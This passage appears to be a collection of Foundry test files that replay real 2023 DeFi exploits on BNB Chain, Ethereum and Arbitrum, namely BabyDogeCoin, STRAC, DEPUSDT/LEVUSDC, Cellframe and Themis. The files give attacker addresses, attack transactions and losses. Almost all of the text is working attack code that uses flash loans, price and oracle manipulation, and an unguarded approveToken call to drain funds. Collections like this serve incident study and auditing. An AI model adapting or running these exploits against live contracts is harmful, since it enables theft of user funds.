// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~100K USD$
// Attacker : https://bscscan.com/address/0xee6764ac7aa45ed52482e4320906fd75615ba1d1
// Attack Contract : https://bscscan.com/address/0x9a6b926281b0c7bc4f775e81f42b13eda9c1c98e
// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de
// Attack Tx : https://bscscan.com/tx/0xbaf3e4841614eca5480c63662b41cd058ee5c85dc69198b29e7ab63b84bc866c

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275CD8A068AbB95A902e8de#code

// @Analysis
// Twitter Guy : https://twitter.com/hexagate_/status/1671517819840745475

interface IFeeFreeRouter {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
}

interface IBabyDogeCoin is IERC20 {
    function numTokensSellToAddToLiquidity() external view returns (uint256);
}

contract ContractTest is Test {
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IBabyDogeCoin BabyDogeCoin = IBabyDogeCoin(0xc748673057861a797275CD8A068AbB95A902e8de);
    Uni_Pair_V3 pool = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
    ICErc20Delegate vUSDT = ICErc20Delegate(0xfD5840Cd36d94D7229439859C0112a4185BC0255);
    ICErc20Delegate vBUSD = ICErc20Delegate(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);
    crETH vBNB = crETH(0xA07c5b74C9B40447a954e1466938b865b6BBea36);
    Uni_Router_V2 BabyDogeRouter = Uni_Router_V2(0xC9a0F685F39d05D835c369036251ee3aEaaF3c47);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IFeeFreeRouter FeeFreeRouter = IFeeFreeRouter(0x9869674E80D632F93c338bd398408273D20a6C8e);
    IUnitroller Unitroller = IUnitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
    ISimplePriceOracle VenusChainlinkOracle = ISimplePriceOracle(0xd8B6dA2bfEC71D684D3E2a2FC9492dDad5C3787F);
    address PancakePair = 0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0;
    address BabyDogeRouterPair = 0x0536c8b0c3685b6e3C62A7b5c4E8b83f938f12D1;
    uint256 borrowAmount;
    uint256 USDTFlashLoanAmount;
    uint256 BUSDFlashLoanAmount;

    function setUp() public {
        vm.createSelectFork("bsc", 29_295_010);
        vm.label(address(BUSD), "BUSD");
        vm.label(address(USDT), "USDT");
        vm.label(address(WBNB), "WBNB");
        vm.label(address(BabyDogeCoin), "BabyDogeCoin");
        vm.label(address(pool), "pool");
        vm.label(address(vBUSD), "vBUSD");
        vm.label(address(vUSDT), "vUSDT");
        vm.label(address(vBNB), "vBNB");
        vm.label(address(BabyDogeRouter), "BabyDogeRouter");
        vm.label(address(Router), "Router");
        vm.label(address(FeeFreeRouter), "FeeFreeRouter");
        vm.label(address(Unitroller), "Unitroller");
        vm.label(address(VenusChainlinkOracle), "VenusChainlinkOracle");
        vm.label(address(PancakePair), "PancakePair");
        vm.label(address(BabyDogeRouterPair), "BabyDogeRouterPair");
    }

    function testExploit() public {
        init();
        AddBabyDogeCoinWBNBLiquidity();
        exploit();

        emit log_named_decimal_uint(
            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
        );
    }

    function init() internal {
        USDT.approve(address(vUSDT), type(uint256).max);
        BUSD.approve(address(vBUSD), type(uint256).max);
        address[] memory cTokens = new address[](3);
        cTokens[0] = address(vUSDT);
        cTokens[1] = address(vBUSD);
        cTokens[2] = address(vBNB);
        Unitroller.enterMarkets(cTokens);
    }

    function AddBabyDogeCoinWBNBLiquidity() public payable {
        deal(address(this), 0.01 ether);
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(BabyDogeCoin);
        BabyDogeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.005 ether}(
            1, path, address(this), block.timestamp
        );
        WBNB.deposit{value: 0.005 ether}();
        WBNB.approve(address(FeeFreeRouter), WBNB.balanceOf(address(this)));
        BabyDogeCoin.approve(address(FeeFreeRouter), BabyDogeCoin.balanceOf(address(this)));
        FeeFreeRouter.addLiquidity(
            address(BabyDogeCoin),
            address(WBNB),
            BabyDogeCoin.balanceOf(address(this)) - 10_000 * 1e9,
            WBNB.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp
        );
        IERC20(BabyDogeRouterPair).approve(address(FeeFreeRouter), IERC20(BabyDogeRouterPair).balanceOf(address(this)));
    }

    function exploit() internal {
        pool.flash(address(this), USDT.balanceOf(address(pool)), BUSD.balanceOf(address(pool)), new bytes(0));
    }

    function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
        borrowBNB();

        swapWBNBToBabyDogeCoinByBabyDogeRouterPair();
        Sandwich();
        swapBabyDogeCoinToWBNBByBabyDogeRouterPair();

        repayFlashLoan(amount0, amount1);
    }

    function borrowBNB() public payable {
        USDTFlashLoanAmount = USDT.balanceOf(address(this));
        BUSDFlashLoanAmount = BUSD.balanceOf(address(this));
        vUSDT.mint(USDT.balanceOf(address(this)));
        vBUSD.mint(BUSD.balanceOf(address(this)));
        (, uint256 AccountLiquidity,) = Unitroller.getAccountLiquidity(address(this));
        uint256 UnderlyingPrice = VenusChainlinkOracle.getUnderlyingPrice(address(vBNB));
        borrowAmount = (AccountLiquidity * 1e18 / UnderlyingPrice) * 9999 / 10_000;
        vBNB.borrow(borrowAmount);
    }

    function swapWBNBToBabyDogeCoinByBabyDogeRouterPair() internal {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(BabyDogeCoin);
        uint256 swapAmount =
            BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin)) - 1e12;
        uint256[] memory amountIns = BabyDogeRouter.getAmountsIn(swapAmount, path);
        WBNB.deposit{value: address(this).balance}();
        WBNB.approve(address(BabyDogeRouter), amountIns[0]);
        BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIns[0], 0, path, address(FeeFreeRouter), block.timestamp
        );
        FeeFreeRouter.removeLiquidity(
            address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeCoin), block.timestamp
        ); // swap some WBNB to BabyDogeCoin , transfer to BabyDogeCoin contract

        WBNB.approve(address(BabyDogeRouter), WBNB.balanceOf(address(this)));
        BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(FeeFreeRouter), block.timestamp
        );
        FeeFreeRouter.removeLiquidity(address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, PancakePair, block.timestamp); // swap some WBNB to BabyDogeCoin , transfer to PancakePair contract
    }

    function Sandwich() internal {
        address[] memory path = new address[](2);
        path[0] = address(BabyDogeCoin);
        path[1] = address(WBNB);
        BabyDogeCoin.approve(address(Router), 1);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB

        uint256 transferAmount =
            BabyDogeCoin.numTokensSellToAddToLiquidity() - BabyDogeCoin.balanceOf(address(BabyDogeCoin));
        BabyDogeCoin.transfer(address(BabyDogeCoin), transferAmount);
        BabyDogeCoin.transfer(address(this), 1); // trigger swap BabyDogeCoin to WBNB without slippage protection

        path[0] = address(WBNB);
        path[1] = address(BabyDogeCoin);
        WBNB.approve(address(Router), WBNB.balanceOf(address(this)));
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 1, path, address(FeeFreeRouter), block.timestamp
        ); // swap WBNB to BabyDogeCoin
        FeeFreeRouter.removeLiquidity(
            address(BabyDogeCoin), address(WBNB), 1e9, 0, 0, address(BabyDogeRouterPair), block.timestamp
        );
    }

    function swapBabyDogeCoinToWBNBByBabyDogeRouterPair() internal {
        address[] memory path = new address[](2);
        path[0] = address(BabyDogeCoin);
        path[1] = address(WBNB);
        BabyDogeCoin.approve(address(BabyDogeRouter), 1);
        BabyDogeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(1, 1, path, address(this), block.timestamp); // swap BabyDogeCoin to WBNB, get profit
    }

    function repayFlashLoan(uint256 amount0, uint256 amount1) internal {
        WBNB.withdraw(borrowAmount);
        vBNB.repayBorrow{value: address(this).balance}();
        vUSDT.redeemUnderlying(USDTFlashLoanAmount);
        vBUSD.redeemUnderlying(BUSDFlashLoanAmount);
        USDT.transfer(address(pool), USDTFlashLoanAmount);
        BUSD.transfer(address(pool), BUSDFlashLoanAmount);
        WBNB.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(USDT);
        Router.swapTokensForExactTokens(amount0, type(uint256).max, path, address(pool), block.timestamp);
        path[1] = address(BUSD);
        Router.swapTokensForExactTokens(amount1, type(uint256).max, path, address(pool), block.timestamp);
    }

    receive() external payable {}
}

BabyDogeCoin02 Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~13 $ETH
// Attacker : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3
// Attack Contract : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3
// Vulnerable Contract : https://bscscan.com/address/0x1f90bdeb5674833868ee9b36707b929024e7a513
// Attack Tx : https://bscscan.com/tx/0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IERC20 STRAC = IERC20(0x9801DA0AA142749295692c7cb3241E4EE2B80Bda);
    IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
    IPancakePair ETH_STRAC_LpPool = IPancakePair(0x2976bD3774622367CE7A575D28201480e640966F);
    IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x3870D09F59564d8b86B052b1FB1e27b961f9BC73));
    address Contract_0x1f90 = 0x1F90BDeB5674833868EE9b36707B929024E7A513;

    function setUp() public {
        vm.createSelectFork("bsc", 29_474_566 - 1);
        vm.label(address(STRAC), "STRAC");
        vm.label(address(Contract_0x1f90), "Contract_0x1f90");
    }

    function testExploit() public {
        STRAC.approve(address(PancakeRouter), type(uint256).max);
        emit log_named_decimal_uint("Attacker ETH balance before attack", ETH.balanceOf(address(this)), 18);
        Contract_0x1f90.call(
            abi.encodeWithSelector(bytes4(0x4a75084c), address(this), STRAC, STRAC.balanceOf(address(Contract_0x1f90)))
        );
        TOKENToETH();
        emit log_named_decimal_uint("Attacker ETH balance after attack", ETH.balanceOf(address(this)), 18);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        return true;
    }

    function TOKENToETH() internal {
        (uint256 reserveETH, uint256 reserveTOKEN,) = ETH_STRAC_LpPool.getReserves();
        uint256 amountOut;

        (uint256 reserveETH_after, uint256 reserveTOKEN_after,) = ETH_STRAC_LpPool.getReserves();

        amountOut = PancakeRouter.getAmountOut(STRAC.balanceOf(address(this)), reserveTOKEN, reserveETH);
        STRAC.transfer(address(ETH_STRAC_LpPool), STRAC.balanceOf(address(this)));
        ETH_STRAC_LpPool.swap(amountOut * 997 / 1000, 0, address(this), "");
    }

    fallback() external payable {}
    receive() external payable {}
}

STRAC Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT)
// Vulnerable Proxy DEPUSDT : https://etherscan.io/address/0x7b190a928aa76eece5cb3e0f6b3bdb24fcdd9b4f
// Vulnerable Proxy LEVUSDC : https://etherscan.io/address/0x2a2b195558cf89aa617979ce28880bbf7e17bc45
// Attack Tx DEPUSDT : https://etherscan.io/tx/0xf0a13b445674094c455de9e947a25bade75cac9f5176695fca418898ea25742f
// Attack Tx LEVUSDC : https://etherscan.io/tx/0x800a5b3178f680feebb81af69bd3dff791b886d4ce31615e601f2bb1f543bb2e

// @Analysis : https://twitter.com/numencyber/status/1669278694744150016?cxt=HHwWgMDS9Z2IvKouAAAA

interface IProxy {
    function approveToken(address token, address pool, uint256 amount) external;
}

interface IToken {
    function balanceOf(
        address who
    ) external view returns (uint256);

    function transferFrom(address sender, address recipient, uint256 amount) external;
}

contract ContractTest is Test {
    IToken DEPUSDT = IToken(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IToken LEVUSDC = IToken(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IProxy ProxyDEPUSDT = IProxy(0x7b190a928Aa76EeCE5Cb3E0f6b3BdB24fcDd9b4f);
    IProxy ProxyLEVUSDC = IProxy(0x2a2b195558cF89AA617979ce28880BbF7e17bc45);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_484_161);
        cheats.label(address(DEPUSDT), "DEPUSDT");
        cheats.label(address(LEVUSDC), "LEVUSDC");
        cheats.label(address(ProxyDEPUSDT), "ProxyDEPUSDT");
        cheats.label(address(ProxyLEVUSDC), "ProxyLEVUSDC");
    }

    function testApprove() public {
        // No access control. Thanks to this, attacker obtained authorization to transfer funds
        ProxyDEPUSDT.approveToken(address(DEPUSDT), address(this), type(uint256).max);

        DEPUSDT.transferFrom(address(ProxyDEPUSDT), address(this), DEPUSDT.balanceOf(address(ProxyDEPUSDT)));

        cheats.roll(17_484_167);

        ProxyLEVUSDC.approveToken(address(LEVUSDC), address(this), type(uint256).max);

        LEVUSDC.transferFrom(address(ProxyLEVUSDC), address(this), LEVUSDC.balanceOf(address(ProxyLEVUSDC)));

        emit log_named_decimal_uint("Attacker DEPUSDT balance after hack", DEPUSDT.balanceOf(address(this)), 6);

        emit log_named_decimal_uint("Attacker LEVUSDC balance after hack", LEVUSDC.balanceOf(address(this)), 6);
    }
}

DEPUSDT_LEVUSDC Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~76K USD$
// Attacker - https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
// Attack contract - https://bscscan.com/address/0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48
// Attack Tx : https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
// Pre-Attack Tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9

// @Analysis - https://twitter.com/numencyber/status/1664132985883615235?cxt=HHwWhoDTqceImJguAAAA

interface IPancakeRouterV3 {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    function exactInputSingle(
        ExactInputSingleParams memory params
    ) external payable returns (uint256 amountOut);
}

interface ILpMigration {
    function migrate(
        uint256 amountLP
    ) external;
}

contract ContractTest is Test {
    IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
    IPancakeV3Pool PancakePool = IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
    IPancakePair PancakeLP = IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
    ILpMigration LpMigration = ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
    IPancakeRouterV3 SmartRouter = IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
    IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 28_708_273);
        cheats.label(address(DPPOracle), "DPPOracle");
        cheats.label(address(PancakePool), "PancakePool");
        cheats.label(address(Router), "Router");
        cheats.label(address(PancakeLP), "PancakeLP");
        cheats.label(address(LpMigration), "LpMigration");
        cheats.label(address(SmartRouter), "SmartRouter");
        cheats.label(address(CELL9), "CELL9");
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(oldCELL), "oldCELL");
        cheats.label(address(newCELL), "newCELL");
        cheats.label(address(BUSD), "BUSD");
        cheats.label(zap, "Zap");
    }

    function testExploit() public {
        deal(address(WBNB), address(this), 0.1 ether);
        emit log_named_decimal_uint(
            "Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
        );

        // Preparation. Pre-attack transaction
        WBNB.approve(address(Router), type(uint256).max);
        swapTokens(address(WBNB), address(oldCELL), WBNB.balanceOf(address(this)));

        oldCELL.approve(zap, type(uint256).max);
        oldCELL.approve(address(Router), type(uint256).max);
        swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)) / 2);

        Router.addLiquidity(
            address(oldCELL),
            address(WBNB),
            oldCELL.balanceOf(address(this)),
            WBNB.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp + 100
        );

        // End of preparation. Attack start
        DPPOracle.flashLoan(1000 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint(
            "Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        PancakePool.flash(
            address(this), 0, 500_000 * 1e18, hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
        );
        newCELL.approve(address(SmartRouter), type(uint256).max);
        smartRouterSwap();

        swapTokens(address(newCELL), address(WBNB), 94_191_714_329_478_648_796_861);

        swapTokens(address(newCELL), address(BUSD), newCELL.balanceOf(address(this)));

        BUSD.approve(address(Router), type(uint256).max);
        swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));

        WBNB.transfer(address(DPPOracle), 1000 * 1e18);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        newCELL.approve(address(Router), type(uint256).max);
        CELL9.approve(address(LpMigration), type(uint256).max);

        swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
        // Acquiring oldCELL tokens
        swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);

        // Liquidity amount to migrate (for one call to migrate() func)
        uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
        emit log_named_uint("Amount of liquidity to migrate (for one migrate call)", lpAmount);

        // 8 calls to migrate were successfully. Ninth - revert in attack tx.
        for (uint256 i; i < 9; ++i) {
            LpMigration.migrate(lpAmount);
        }

        PancakeLP.transfer(address(PancakeLP), PancakeLP.balanceOf(address(this)));
        PancakeLP.burn(address(this));

        swapTokens(address(WBNB), address(newCELL), WBNB.balanceOf(address(this)));
        swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)));

        newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
    }

    // Helper function for swap tokens with the use Pancake RouterV2
    function swapTokens(address from, address to, uint256 amountIn) internal {
        address[] memory path = new address[](2);
        path[0] = from;
        path[1] = to;
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn, 0, path, address(this), block.timestamp + 100
        );
    }

    // Helper function for swap tokens with the use Pancake RouterV3
    function smartRouterSwap() internal {
        IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3.ExactInputSingleParams({
            tokenIn: address(newCELL),
            tokenOut: address(WBNB),
            fee: 500,
            recipient: address(this),
            amountIn: 768_165_437_250_117_135_819_067,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        SmartRouter.exactInputSingle(params);
    }

    receive() external payable {}
}

Cellframe Exploit (2023-06)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~370K USD$
// Attacker : https://arbiscan.io/address/0xdb73eb484e7dea3785520d750eabef50a9b9ab33
// Attack Contracts : https://arbiscan.io/address/0x05a1b877330c168451f081bfaf32d690ea964fca
// https://arbiscan.io/address/0x33f3fb58ea0f91f4bd8612d9f477420b01023f25
// Vulnerable Contract : https://arbiscan.io/address/0x75f805e2fb248462e7817f0230b36e9fae0280fc
// Attack Tx : https://arbiscan.io/tx/0xff368294ccb3cd6e7e263526b5c820b22dea2b2fd8617119ba5c3ab8417403d8

// @Analysis
// https://twitter.com/BeosinAlert/status/1673930979348717570
// Detailed attack steps: https://twitter.com/BlockSecTeam/status/1673897088617426946

interface IThemis {
    function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;

    function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;

    function borrow(
        address asset,
        uint256 amount,
        uint256 interestRateMode,
        uint16 referralCode,
        address onBehalfOf
    ) external;
}

interface IGauge is IERC20 {
    function deposit(uint256 _amount, address _referrer) external;
}

interface IPool is IERC20 {
    function getPoolId() external view returns (bytes32);
}

contract ThemisTest is Test {
    IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
    IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);
    IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
    IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
    IERC20 ARB = IERC20(0x912CE59144191C1204E64559FE8253a0e49E6548);
    IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
    // wstETH - WETH Pool
    IPool BalancerPool = IPool(0x36bf227d6BaC96e2aB1EbB5492ECec69C691943f);
    IGauge BalancerGauge = IGauge(0x8F0B53F3BA19Ee31C0A73a6F6D84106340fadf5f);
    IAaveFlashloan AaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
    Uni_Pair_V3 UniPool1 = Uni_Pair_V3(0x2f5e87C9312fa29aed5c179E456625D79015299c);
    Uni_Pair_V3 UniPool2 = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
    IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IThemis AttackedThemisContract = IThemis(0x75F805e2fB248462e7817F0230B36E9Fae0280Fc);
    IAggregator Aggregator = IAggregator(0x17df2B52f5D756420846c78c69F4fE4fF10e57A4);
    address private constant proxyAddress = 0xdE85D18ADdA9D2b9eAfa7Dbf0ceC5A89119d90F0;
    address private constant themisDAI = 0x10c73B8e7E5DC0d25a1A717f4BF9026d955382dE;
    address private constant themisUSDC = 0x349aC9f74Dcf2Bdf6a39F0Df57f5c8C9840a5367;
    address private constant themisUSDT = 0xe67F804192c92674639cE46D059823976C24E925;
    address private constant themisARB = 0x1467B18945135c6866b7f9d64729bcDAD60C9295;
    address private constant themisWBTC = 0x1762A96724ab7ae072ABD7dB7A43fFc66261669E;
    address private constant themisWETH = 0xe611e633C1E88d4f026fec5Bc1E40E8A477f41aD;
    AttackContract AContract;
    address private constant DAI_USDC = 0xd37Af656Abf91c7f548FfFC0133175b5e4d3d5e6;
    address private constant WETH_ARB = 0x92c63d0e701CAAe670C9415d91C474F686298f00;
    address private constant WBTC_WETH = 0x2f5e87C9312fa29aed5c179E456625D79015299c;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("arbitrum", 105_524_523);
        cheats.label(address(WETH), "WETH");
        cheats.label(address(AaveV3), "AaveV3");
        cheats.label(address(UniPool1), "UniPool1");
        cheats.label(address(UniPool2), "UniPool2");
    }

    function testExploit() public {
        WETH.approve(address(AaveV3), type(uint256).max);

        address[] memory assets = new address[](1);
        assets[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 22_000 * 1e18;
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        AaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);

        uniswapV3Swap(DAI_USDC, true, DAI.balanceOf(address(this)), 39_213_280_958_319_573_512_907);
        uniswapV3Swap(WETH_ARB, false, ARB.balanceOf(address(this)), 6_123_808_957_771_478_940_080_370_857_742);
        uniswapV3Swap(WBTC_WETH, true, WBTC.balanceOf(address(this)), 21_845_559_093_545_742_410_589_827_953_560_948);
        emit log_named_decimal_uint(
            "Attacker's amount of WETH after exploit", WETH.balanceOf(address(this)), WETH.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker's amount of USDC after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker's amount of USDT after exploit", USDT.balanceOf(address(this)), USDT.decimals()
        );
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        UniPool1.flash(address(this), 0, 10_000 * 1e18, "");
        return true;
    }

    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        if (msg.sender == address(UniPool1)) {
            UniPool2.flash(address(this), 8000 * 1e18, 0, "");
            WETH.transfer(msg.sender, 10_000 * 1e18 + fee1);
        } else {
            WETH.approve(address(BalancerVault), type(uint256).max);
            WETH.approve(address(AttackedThemisContract), type(uint256).max);
            wstETH.approve(address(BalancerVault), type(uint256).max);
            BalancerPool.approve(address(BalancerGauge), type(uint256).max);
            BalancerGauge.approve(proxyAddress, type(uint256).max);

            Aggregator.latestAnswer();

            AttackedThemisContract.supply(address(WETH), 220e18, address(this), 0);
            AttackedThemisContract.setUserUseReserveAsCollateral(address(WETH), true);

            // emit log_uint(DAI.balanceOf(themisDAI));
            borrowTokens(address(DAI), DAI.balanceOf(themisDAI));
            borrowTokens(address(USDC), USDC.balanceOf(themisUSDC));
            borrowTokens(address(USDT), USDT.balanceOf(themisUSDT));
            borrowTokens(address(ARB), ARB.balanceOf(themisARB));
            borrowTokens(address(WBTC), WBTC.balanceOf(themisWBTC));

            WETH.withdraw(55e18);

            AContract = new AttackContract{value: 55 ether}();

            balancerSwap(address(wstETH), address(WETH), wstETH.balanceOf(address(this)));
            WETH.transfer(msg.sender, 8000 * 1e18 + fee0);
        }
    }

    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
        if (msg.sender == DAI_USDC) {
            DAI.transfer(DAI_USDC, uint256(amount0Delta));
        } else if (msg.sender == WETH_ARB) {
            ARB.transfer(WETH_ARB, uint256(amount1Delta));
        } else {
            WBTC.transfer(WBTC_WETH, uint256(amount0Delta));
        }
    }

    function balancerSwap(address tokenA, address tokenB, uint256 swapAmount) public {
        IBalancerVault.SingleSwap memory single = IBalancerVault.SingleSwap({
            poolId: BalancerPool.getPoolId(),
            kind: IBalancerVault.SwapKind(0),
            assetIn: tokenA,
            assetOut: tokenB,
            amount: swapAmount,
            userData: ""
        });

        IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({
            sender: address(this),
            fromInternalBalance: false,
            recipient: payable(address(this)),
            toInternalBalance: false
        });

        BalancerVault.swap(single, funds, 0, block.timestamp);
    }

    function borrowTokens(address token, uint256 borrowAmount) internal {
        AttackedThemisContract.borrow(token, borrowAmount, 2, 0, address(this));
    }

    function uniswapV3Swap(
        address uniswapPool,
        bool zeroForOne,
        uint256 amountSpecified,
        uint160 sqrtPriceLimit
    ) internal {
        Uni_Pair_V3(uniswapPool).swap(address(this), zeroForOne, int256(amountSpecified), sqrtPriceLimit, "");
    }

    receive() external payable {}
}

contract AttackContract {
    IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
    IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IGauge BalancerGauge = IGauge(0x8F0B53F3BA19Ee31C0A73a6F6D84106340fadf5f);
    IPool BalancerPool = IPool(0x36bf227d6BaC96e2aB1EbB5492ECec69C691943f);
